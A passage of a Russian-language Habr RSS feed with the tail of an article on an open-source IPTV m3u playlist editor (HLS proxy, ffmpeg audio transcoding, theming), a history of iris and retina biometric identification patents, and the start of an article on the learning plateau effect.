current_names:&#xA;        DEFAULT_NAMES_PATH.write_text(&amp;#34;\n&amp;#34;.join(current_names), encoding=&amp;#34;utf-8&amp;#34;)&#xA;        _state.store.set_default_names(current_names)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Важный нюанс: я специально &lt;strong&gt;не&lt;/strong&gt; вызываю &lt;code&gt;reload_playlist()&lt;/code&gt; (который перечитал бы &lt;code&gt;state.json&lt;/code&gt;), а напрямую ребиндю playlist через &lt;code&gt;bind_playlist()&lt;/code&gt;. Иначе получается race condition: drag-and-drop возвращает старый ответ, потому что &lt;code&gt;load_or_bootstrap&lt;/code&gt; читает &lt;code&gt;state.json&lt;/code&gt;, который ещё не до конца записан.&lt;p&gt;На фронте React Query инвалидирует кэш источника после каждой мутации:&lt;pre&gt;&lt;code&gt;onSettled: (server) =&amp;gt; {&#xA;  if (server) client.setQueryData(KEY_MAIN, server)&#xA;  client.invalidateQueries({ queryKey: KEY_SOURCE })&#xA;}&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Результат — обе панели всегда синхронны, без «save»-кнопки.&lt;h3&gt;Решение 3: HLS-прокси, который переписывает манифесты&lt;/h3&gt;&lt;p&gt;IPTV-провайдеры в 90% случаев не отдают CORS-заголовки, поэтому браузер отказывается проигрывать их потоки напрямую. Классический подход — сделать прокси, который пропускает запрос через свой сервер.&lt;p&gt;Тонкость: если просто проксировать master.m3u8, в нём URL-ы на variant-манифесты, а внутри variant-манифестов — URL-ы на &lt;code&gt;.ts&lt;/code&gt;-сегменты. Их все нужно переписать на прокси-URL, иначе плеер запросит сегменты напрямую и снова упрётся в CORS.&lt;p&gt;~40 строк Python:&lt;pre&gt;&lt;code class=python&gt;async def proxy_stream(upstream_url: str) -&amp;gt; Response:&#xA;    async with httpx.AsyncClient() as client:&#xA;        resp = await client.get(upstream_url, follow_redirects=True)&#xA;        content_type = resp.headers.get(&amp;#34;content-type&amp;#34;, &amp;#34;&amp;#34;)&#xA;&#xA;        if &amp;#34;mpegurl&amp;#34; in content_type.lower() or upstream_url.endswith(&amp;#34;.m3u8&amp;#34;):&#xA;            # Rewrite every non-comment line to go through our proxy.&#xA;            base = urljoin(upstream_url, &amp;#34;.&amp;#34;)&#xA;            rewritten = []&#xA;            for line in resp.text.splitlines():&#xA;                if line.startswith(&amp;#34;#&amp;#34;) or not line.strip():&#xA;                    rewritten.append(line)&#xA;                else:&#xA;                    absolute = urljoin(base, line)&#xA;                    rewritten.append(f&amp;#34;/api/proxy?u={quote(absolute)}&amp;#34;)&#xA;            return Response(&amp;#34;\n&amp;#34;.join(rewritten), media_type=content_type)&#xA;&#xA;        return Response(resp.content, media_type=content_type)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;h3&gt;Решение 4: AC-3 → AAC на лету&lt;/h3&gt;&lt;p&gt;Некоторые провайдеры гонят AC-3 / E-AC-3 аудио, которое Chrome и Safari упорно отказываются декодировать. Видео играет, звука нет.&lt;p&gt;Решение — fallback-кнопка «Fix audio», которая на бэке запускает ffmpeg:&lt;pre&gt;&lt;code class=python&gt;proc = await asyncio.create_subprocess_exec(&#xA;    FFMPEG_BIN,&#xA;    &amp;#34;-i&amp;#34;, upstream_url,&#xA;    &amp;#34;-c:v&amp;#34;, &amp;#34;copy&amp;#34;,      # видео не трогаем&#xA;    &amp;#34;-c:a&amp;#34;, &amp;#34;aac&amp;#34;,       # только аудио ремуксируем&#xA;    &amp;#34;-f&amp;#34;, &amp;#34;hls&amp;#34;,&#xA;    &amp;#34;-hls_time&amp;#34;, &amp;#34;4&amp;#34;,&#xA;    &amp;#34;-hls_list_size&amp;#34;, &amp;#34;6&amp;#34;,&#xA;    &amp;#34;-hls_flags&amp;#34;, &amp;#34;delete_segments&amp;#34;,&#xA;    str(output_dir / &amp;#34;index.m3u8&amp;#34;),&#xA;)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Плеер переключается на &lt;code&gt;/api/transcode/{channel_id}/index.m3u8&lt;/code&gt; и звук появляется через ~3 секунды (латентность одного HLS-сегмента). Процессы ffmpeg’а трекаются и убиваются на background-задаче cleanup’а.&lt;h3&gt;Решение 5: светлая тема поверх dark-only кодовой базы&lt;/h3&gt;&lt;p&gt;Фронт изначально писался только под тёмную тему, и в куче мест захардкожены классы &lt;code&gt;text-white&lt;/code&gt;, &lt;code&gt;bg-white/5&lt;/code&gt;, &lt;code&gt;border-white/10&lt;/code&gt;. Переписывать тысячи строк на семантические токены — долго.&lt;p&gt;Пошёл другим путём: добавил в &lt;code&gt;index.css&lt;/code&gt; переопределения всех этих utility-классов для &lt;code&gt;[data-theme=&amp;#34;light&amp;#34;]&lt;/code&gt;:&lt;pre&gt;&lt;code class=css&gt;[data-theme=&amp;#34;light&amp;#34;] .text-white               { color: var(--color-fog-300); }&#xA;[data-theme=&amp;#34;light&amp;#34;] .bg-white\/5              { background-color: var(--tint-bg-sm); }&#xA;[data-theme=&amp;#34;light&amp;#34;] .bg-white\/10             { background-color: var(--tint-bg-md); }&#xA;[data-theme=&amp;#34;light&amp;#34;] .border-white\/10         { border-color: var(--tint-border-sm); }&#xA;[data-theme=&amp;#34;light&amp;#34;] .hover\:bg-white\/5:hover { background-color: var(--tint-bg-sm); }&#xA;/* … и так далее */&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Семантические токены &lt;code&gt;--tint-bg-sm&lt;/code&gt; / &lt;code&gt;--tint-border-sm&lt;/code&gt; / … меняются в зависимости от темы и дают реальную архитектуру elevation’а. Это работает потому что &lt;code&gt;[data-theme=&amp;#34;light&amp;#34;] .class&lt;/code&gt; имеет specificity (0,2,0), что перебивает обычный &lt;code&gt;.class&lt;/code&gt; (0,1,0) из Tailwind.&lt;p&gt;Не идеально, но работает — и не требует трогать ни одного компонента.&lt;h3&gt;Что ещё внутри&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Парсер m3u с поддержкой &lt;code&gt;#EXTGRP&lt;/code&gt;, &lt;code&gt;tvg-logo&lt;/code&gt;, &lt;code&gt;tvg-id&lt;/code&gt;, &lt;code&gt;tvg-rec&lt;/code&gt; (catchup)&lt;li&gt;&lt;p&gt;Резолвер логотипов, который идёт по цепочке: локальный override → &lt;code&gt;iptv-org/database&lt;/code&gt; → &lt;code&gt;tv-logo/tv-logos&lt;/code&gt; CDN → EPG &lt;code&gt;&amp;lt;icon&amp;gt;&lt;/code&gt;&lt;li&gt;&lt;p&gt;Детектор дубликатов каналов на основе нормализованных имён (отстригает суффиксы качества вроде &lt;code&gt;HD&lt;/code&gt;, &lt;code&gt;FHD&lt;/code&gt;, &lt;code&gt;UHD&lt;/code&gt;, &lt;code&gt;+4&lt;/code&gt;)&lt;li&gt;&lt;p&gt;XMLTV EPG-загрузчик с кэшированием, день-по-дню раскладкой, jump’ом в архив по клику на программу&lt;li&gt;&lt;p&gt;Drag-and-drop на &lt;code&gt;@dnd-kit&lt;/code&gt; с кастомной collision detection’ом, который предпочитает строки над контейнером при drag’е из Source в Main&lt;li&gt;&lt;p&gt;Встроенный HLS-плеер на &lt;code&gt;hls.js&lt;/code&gt; с keyboard shortcut’ами, fullscreen’ом, архивной перемоткой и записью в MKV&lt;/ul&gt;&lt;h3&gt;Как запустить&lt;/h3&gt;&lt;pre&gt;&lt;code class=bash&gt;git clone https://github.com/stepanovandrey89/m3ustudio.git&#xA;cd m3ustudio&#xA;docker compose up -d&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Открываешь &lt;a href=http://127.0.0.1:8000 rel=&#34;noopener noreferrer nofollow&#34;&gt;http://127.0.0.1:8000&lt;/a&gt;, кидаешь свой &lt;code&gt;.m3u8&lt;/code&gt; через UI, начинаешь править.&lt;p&gt;Код открыт, issues и PR’ы приветствуются. Если какая-то из перечисленных архитектурных идей показалась интересной — расскажу подробнее в комментариях.&lt;p&gt;&lt;a href=https://github.com/stepanovandrey89/m3ustudio rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Resurs1</author>
      <guid>https://habr.com/ru/articles/1024902/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024902</guid>
      <pubDate>Sat, 18 Apr 2026 06:16:14 +0000</pubDate>
    </item>
    <item>
      <title>Краткая история биометрии: как была изобретена идентификация по радужке глаза</title>
      <link>https://habr.com/ru/companies/onlinepatent/articles/1024538/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024538</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b68/92a/a53/b6892aa5339290c6594aea6d8b64bdfb.jpg alt=&#34;Источник фото: Gemini&#34; title=&#34;Источник фото: Gemini&#34; width=929 height=635 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b68/92a/a53/b6892aa5339290c6594aea6d8b64bdfb.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b68/92a/a53/b6892aa5339290c6594aea6d8b64bdfb.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Источник фото: Gemini&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Обратил внимание на радужку глаза человека как на неповторимую биометрическую характеристику сродни отпечатку пальца Фрэнсис Гальтон. В 1888 году в своей &lt;a href=https://archive.org/details/paper-doi-10_1038_038201a0&gt;статье&lt;/a&gt; в журнале «Nature» «Personal identification and description («Идентификация личности и ее характеристики») он писал, что тело человека можно порезать на микротоме на 800 миллионов слоев толщиной в одну десятитысячную дюйма, и на каждом их них мы под микроскопом увидим неповторимую картинку. В случае же бороздок на коже подушечки пальца и в радужке глаза никого резать не надо, природа предоставляет нам уникальные узоры уже в готовом виде. При этом, добавляет он, «отметины на радужной оболочке глаза никогда не были должным образом изучены, разве что производителями глазных протезов, которые распознают тысячи их разновидностей. Эти отметины вполне заслуживают того, чтобы их сфотографировали с натуры в увеличенном масштабе».&lt;p&gt;Их фотографировали много раз и довольно быстро убедились, что узор радужки каждого человека действительно не менее уникален, чем отпечатки пальцев. В 1935 году криминолог Карлтон Саймон и главный врач отделения офтальмологии нью-йоркской больницы Маунт-Синай Исидор Гольдштейн опубликовали в «New York medical journal» статью под заголовком «Новый научный метод идентификации», где как раз утверждалось, что рисунок радужки глаза уникален и потому подходит для идентификации человека. В том же году они доложили об этом на ежегодном съезде полицейских начальников в Нью-Йорке. Разумеется, утверждать это Саймон и Гольштейн могли лишь с определенной степенью вероятности, больница Маунт-Синай хоть была самой большой в городе, но выборка проверенных на сходство радужки ее пациентов удовлетворяла только 95% порогу вероятности. Спустя ровно 20 лет другой окулист доктор Пол Тауэр показал, что рисунки радужки отличаются, причем сильно, у шести исследованных им пар гомозиготных (однояйцовых) близнецов, что произвело гораздо большее впечатление на криминалистов, чем доклад Гольдштейна и Саймона.&lt;p&gt;Но поставить на поток идентификацию личности по радужке глаза было проблематично по одной простой причине. Радужная оболочка растягивалась и сжималась, регулируя размер зрачка в зависимости от освещения, и, соответственно, сжимался и расправлялся ее рисунок. Требовалось создать условия, чтобы размер зрачка был один и тот же. Что уж тут было говорить о создании хранилищ в тысячи таких фото, да и о самой процедуре «дактилоскопирования» радужки с точно заданным диаметром зрачка. Тем более, что по конечному результату дактилоскопия была несравненно проще и дешевле. &lt;p&gt;Словом, со времен Гальтона в течении почти века были слышны лишь призывы использовать радужку для аутентификации без предложения конкретного способа это сделать на практике, и лишь в 1978 году был запатентовано &lt;a href=https://patents.google.com/patent/US4109237A/en&gt;устройство&lt;/a&gt; и метод идентификации людей по их глазам. Но не по радужке, а по рисункам кровеносных сосудов  в сетчатке глаза. &lt;div class=floating-image&gt;&lt;figure class=&#34;float full-width&#34;&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/887/c4f/bcf/887c4fbcf3ddaffc9ea67774a9865207.png alt=&#34;Схема из патента US4109237A&#34; title=&#34;Схема из патента US4109237A&#34; width=581 height=836 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/887/c4f/bcf/887c4fbcf3ddaffc9ea67774a9865207.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/887/c4f/bcf/887c4fbcf3ddaffc9ea67774a9865207.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Схема из патента US4109237A&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Автор этого изобретения Роберт Хилл (он сам был инженером, а не окулистом, но тоже был не чужд офтальмологии – окулистом был его отец) писал в своей патентной заявке: «Сетчатка глаза каждого человека уникальна по следующим параметрам: количеству крупных кровеносных сосудов в области диска зрительного нерва; относительному углу выхода этих крупных кровеносных сосудов из зрительного нерва; особенностям разветвления кровеносных сосудов; размеру диска зрительного нерва. Кроме того, изображение на сетчатке глаза вряд ли существенно изменится с возрастом. Подделать изображение на сетчатке глаза невозможно. Поскольку отличительная характеристика связана с функцией зрения, изменить изображение на сетчатке невозможно. &amp;lt;…&amp;gt; Таким образом, метод, описанный в настоящем изобретении, в общих чертах заключается в том, чтобы заставить человека зафиксировать взгляд на точке фиксации, расположенной на заданном расстоянии от хрусталика его глаза, просканировать глаз с помощью источника света и зафиксировать ту часть света, которая отражается от сетчатки глаза. &amp;lt;…&amp;gt; Полученный образец записывается вместе с идентификационным номером, присвоенным человеку, для последующего сравнения с образцом этого человека, полученным позднее, с целью установления его личности».&lt;/div&gt;&lt;p&gt;Сам прибор Хилла состоял из сканировавшего глаз источника точечного света с 360 светодиодами, расположенными в виде двух концентрических кругов, которые последовательно и быстро включались и выключались, и фотодетектора, подключенных к компьютеру, который сохранял и воспроизводил полученный шаблон для сравнения. Кроме США Роберт Хилл запатентовал свой сканер в Великобритании, Франции, ФРГ, Японии, а потом еще и Гонконге, основал корпорацию EyeDentify, Inc. и в 1981 году его сканеры сетчатки глаза появились в продаже. Если верить &lt;a href=https://www.nytimes.com/1988/05/31/science/technology-rises-to-challenge-of-clever-intruders.html&gt;газете&lt;/a&gt; «The New York Times», первые модели его сканеров сетчатки глаза стоили до 60 000 долларов, потом к концу 80-х подешевели до 7000 долларов, но покупали их сотнями, в первую очередь американские министерства обороны, энергетики, ЦРУ, компания Boeing, банки, и даже одна тюрьма в штате Юта раскошелилась. Правда, сам Хилл был уже не главным в основанной им компании, его же инвесторы не промахнулись с изобретением и вернули свое с прибылью.&lt;p&gt;К этому времени проблема расширяющего и сужающего зрачка при сканировании радужки глаза уже была также решена, причем тоже самым простым способом. Решили ее два окулиста с дипломами PhD Леонард Флом и Аран Сафир из той же офтальмологической клиники больницы Маунт-Синай, где в свое время работал доктор Гольдштейн, В 1987 году они получили &lt;a href=https://patents.google.com/patent/US4641349A/en&gt;патент&lt;/a&gt; на «Систему распознавания радужной оболочки глаза».&lt;div class=floating-image&gt;&lt;figure class=&#34;float full-width&#34;&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/e34/de0/4fd/e34de04fd3104055b4e20eb4250d3698.png alt=&#34;Схема из патента US4641349A&#34; title=&#34;Схема из патента US4641349A&#34; width=527 height=722 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/e34/de0/4fd/e34de04fd3104055b4e20eb4250d3698.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/e34/de0/4fd/e34de04fd3104055b4e20eb4250d3698.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Схема из патента US4641349A&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;«Сначала глаз освещают до тех пор, пока зрачок не достигнет заданного размера, после чего получают изображение радужной оболочки и зрачка, – писали они. – Затем это изображение сравнивают с сохраненной информацией для идентификации. Сохраненная информация получена с глаза, зрачок которого был приведен к такому же заданному размеру. Освещение радужной оболочки может осуществляться под косым углом из нескольких точек по окружности радужки. Освещение из каждой точки может быть относительно монохромным, чтобы в получаемой тени отсутствовал цвет источника света в этой точке, что обеспечивает лучший контраст. Система распознавания радужной оболочки может включать в себя процессор, который управляет схемой контроля освещения, и камеру для получения изображений с несколькими заранее заданными размерами зрачка».&lt;/div&gt;&lt;p&gt;Прототип их сканера обошелся изобретателям в 13 тысяч долларов, но в производство не пошел. Почему – можно только гадать. Судя по косвенным уликам, скорее всего дело было так. Пять лет спустя все узнали, что у доктора Флома лечил свое зрение и наблюдался Джон Фрэнсис Уэлч-младший, председатель совета директоров и генеральный директор General Electric Company. То ли это он нанял специалиста по машинному зрению Джона Даугмана, на тот момент профессора Кембриджа, то ли тот сам нашелся, но, как бы там ни было, а в 1994 году Даугман получил &lt;a href=https://patents.google.com/patent/US5291560A/en&gt;патент&lt;/a&gt; на «Биометрическую систему идентификации личности на основе анализа радужной оболочки глаза» с приоритетом от 1991 года. &lt;div class=floating-image&gt;&lt;figure class=&#34;float full-width&#34;&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/0e3/7dc/175/0e37dc17592121c5626b6579a6e3d8e6.png alt=&#34;Схема из патента US5291560A&#34; title=&#34;Схема из патента US5291560A&#34; width=540 height=650 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/0e3/7dc/175/0e37dc17592121c5626b6579a6e3d8e6.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/0e3/7dc/175/0e37dc17592121c5626b6579a6e3d8e6.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Схема из патента US5291560A&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В нем сказано: «Единственная предыдущая попытка использовать преимущества радужной оболочки глаза для создания системы идентификации личности была предпринята в патенте США №4641349, выданном Флому и Сафиру и озаглавленном «Система распознавания радужной оболочки глаза». В нем раскрывается общая концепция использования радужной оболочки глаза в качестве метода идентификации, но не описывается конкретный вариант реализации такой системы. &amp;lt;…&amp;gt;  Не было предложено ни теоретической, ни математической формулировки для принятия решений на основе сравнения несопоставимых наборов данных. Более того, не был описан метод расчета уровней достоверности, связанных с идентификацией. &amp;lt;…&amp;gt; Между тем, хотя радужная оболочка растягивается и сжимается, регулируя размер зрачка в зависимости от освещенности, ее структура практически не меняется, за исключением растяжения и сжатия. Такие искажения текстуры можно легко устранить математически при анализе изображения радужной оболочки глаза, чтобы извлечь и закодировать сигнатуру радужной оболочки, которая остается неизменной при широком диапазоне расширения зрачка».&lt;/div&gt;&lt;p&gt;Как сейчас пишут в справочниках и энциклопедиях, IT-профессор Даугман изобрел IrisCode – двумерный алгоритм распознавания радужной на основе вейвлетов Габора, который лежит в основе всех общедоступных систем автоматического распознавания радужной оболочки глаза и с помощью которого было зарегистрировано более 1,5 миллиарда человек по всему миру в рамках государственных программ идентификации. Его заслуженно считают отцом-основателем этого метода биометрической аутентификации, получившего широкое распространение благодаря ряду фирм, и в первую очередь компании IriScan – стартапу Флома, Сафира и Даугмана. Гораздо реже пишут, что в этот стартап вложилась GE Capital, то есть финансовое подразделение General Electric Company, где всем командовал пациент доктора Флома Джон Фрэнсис Уэлч-младший. В мае 2013 года все трое – Джон Дауман, Леонард Флом и Аран Сафир – были включены в Национальный зал славы изобретателей за свой вклад в разработку системы распознавания радужной оболочки глаза. &lt;details class=spoiler&gt;&lt;summary&gt;О сервисе Онлайн Патент:&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;p&gt;Онлайн Патент — цифровая система № 1 в рейтинге Роспатента. С 2013 года мы создаем уникальные LegalTech‑решения для защиты и управления интеллектуальной собственностью. Зарегистрируйтесь в &lt;a href=&#34;https://my.onlinepatent.ru/client/registration?context=Claim&amp;amp;type=TradeMark&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_source=habr&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_medium=smm&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_campaign=habr%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_smm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_postpodval260418&#34;&gt;сервисе&lt;/a&gt; Онлайн‑Патент и получите доступ к следующим услугам:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Онлайн‑регистрация программ, патентов на изобретение, товарных знаков, промышленного дизайна;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://onlinepatent.ru/uslugi/reestr/?utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_source=habr&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_medium=smm&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_campaign=habr%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_smm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_postpodval2512%5C260418&#34;&gt;Подача заявки на внесение в реестр отечественного ПО&lt;/a&gt;;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://onlinepatent.ru/software/?utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_source=habr&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_medium=smm&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_campaign=habr%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_smm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_postpodval260418&#34;&gt;Поиск по программам&lt;/a&gt;;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://onlinepatent.ru/uslugi/registraciya-programmy-dlya-evm/?utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_source=habr&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_medium=smm&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_campaign=habr%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_smm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_postpodval260418&#34;&gt;Регистрация программы в Роспатенте&lt;/a&gt;;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://onlinepatent.ru/uslugi/registraciya-tovarnogo-znaka/?utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_source=habr&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_medium=smm&amp;amp;utm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_campaign=habr%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_smm%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C_postpodval260418&#34;&gt;Регистрация товарных знаков&lt;/a&gt;;&lt;li&gt;&lt;p&gt;Опции ускоренного оформления услуг;&lt;li&gt;&lt;p&gt;Бесплатный поиск по базам патентов, программ, товарных знаков;&lt;li&gt;&lt;p&gt;Мониторинги новых заявок по критериям;&lt;li&gt;&lt;p&gt;Онлайн‑поддержку специалистов.&lt;/ul&gt;&lt;/div&gt;&lt;/details&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/onlinepatent/articles/1024538/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024538</guid>
      <pubDate>Sat, 18 Apr 2026 06:04:09 +0000</pubDate>
    </item>
    <item>
      <title>«Я просто тупой»: Как Эффект Плато убивает мотивацию в обучении, и как его пробить</title>
      <link>https://habr.com/ru/articles/1024898/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024898</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;h2&gt;1. Введение: Иллюзия собственной глупости&lt;/h2&gt;&lt;p&gt;Знакомая картина: вы решаете выучить английский, освоить программирование, пойти на танцы или научиться монтировать видео. Первые пару недель всё летит как на крыльях. Вы сходу запоминаете новые слова, делаете первые успехи, и внутри загорается лампочка: «Вау, да у меня талант! И почему я не начал раньше?».&lt;p&gt;А потом наступает условная третья неделя. Вы открываете тот же самый учебник, программу или садитесь за инструмент, смотрите на задачу и чувствуете, как в голове воет перекати-поле. Вы пытаетесь усвоить новую тему, читаете одно и то же правило пять раз, но оно просто отскакивает от мозга. Вы тратите столько же часов, что и раньше, но топчетесь на месте.&lt;p&gt;И вот тут в голову предательски закрадывается тяжелая мысль: &lt;em&gt;«Наверное, это просто не мое. У меня не тот склад ума. Я слишком старый для этого. Я просто тупой»&lt;/em&gt;. Руки опускаются, мотивация летит в пропасть, и блокнот с записями отправляется пылиться в дальний ящик стола.&lt;p&gt;Если вы узнали в этом себя — выдохните. С вашим интеллектом всё в полном порядке.&lt;p&gt;То, с чем вы столкнулись — это не внезапная деградация и не признак того, что вы достигли предела своих возможностей. У этого мерзкого состояния есть вполне официальное название: &lt;strong&gt;Эффект плато&lt;/strong&gt;.&lt;p&gt;Говоря простым языком, это неизбежный этап любого обучения, когда вы продолжаете вкладывать время и силы, но видимый результат застывает на мертвой точке. График вашего прогресса, который еще вчера бодро полз вверх, вдруг превращается в плоскую, унылую равнину.&lt;p&gt;Но вот в чем главный парадокс, о котором нужно помнить: &lt;strong&gt;попадание на плато — это отличная новость&lt;/strong&gt;. Это не бетонная стена, в которую вы врезались из-за нехватки ума. Это прямое доказательство того, что вы успешно прошли «конфетно-букетный» период новичка и перешли на новый, по-настоящему сложный уровень. Прямо сейчас вы не тупеете — ваш мозг просто взял техническую паузу, чтобы переварить накопленное и выстроить новые нейронные связи.&lt;p&gt;В этой статье мы разберем, почему кривая нашего обучения никогда не бывает прямой, как Эффект плато обманывает нашу психику, и, главное, какие конкретные шаги помогут пробить этот невидимый потолок.&lt;p&gt;&lt;strong&gt;Кстати, о потолках:&lt;/strong&gt; если вы хотите копнуть глубже и раз и навсегда разобраться, как системно подходить к получению любых навыков, чтобы не бросать на полпути, загляните на мой бесплатный курс на Stepik — &lt;a href=https://stepik.org/course/283708/promo rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;«Учись учиться (Метаобучение): Стратегии освоения сложных тем»&lt;/strong&gt;&lt;/a&gt;. Там мы детально разбираем, как обходить ловушки мозга и делать процесс обучения по-настоящему эффективным.&lt;p&gt;Ну а пока — давайте препарируем сам Эффект плато и поймем, что делать с ним прямо сейчас.&lt;h2&gt;2. Анатомия Эффекта Плато: Почему кривая обучения не бывает прямой&lt;/h2&gt;&lt;p&gt;Нам со школы незаметно внушают одну коварную иллюзию: обучение — это линейный процесс. Кажется логичным, что если ты потратишь два часа, то станешь в два раза умнее, чем если бы потратил один. Мы ожидаем, что наш прогресс будет выглядеть как ровная диагональ, стремящаяся в бесконечность.&lt;p&gt;Но в реальности, если нарисовать график того, как мы осваиваем любой новый навык, он не будет похож на прямую линию.&lt;figure&gt;&lt;img 